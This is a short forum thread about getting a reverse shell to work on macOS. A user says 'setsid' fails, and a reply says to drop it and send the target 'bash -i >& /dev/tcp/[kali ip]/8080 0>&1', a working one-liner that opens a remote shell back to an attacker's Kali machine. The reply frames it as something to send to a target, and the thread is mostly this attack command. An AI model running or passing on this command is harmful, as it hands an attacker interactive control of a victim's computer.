Setsid problem [solved]

I run the command setsid bash -i >& /dev/tcp/[kali ip]/8080 0>&1 on my mac and it says in my kali machine that setsid command is not found

setsid won’t work in mac, so if your target is mac then just send them the bash command without setsid as shown earlier, so just send

bash -i >& /dev/tcp/[kali ip]/8080 0>&1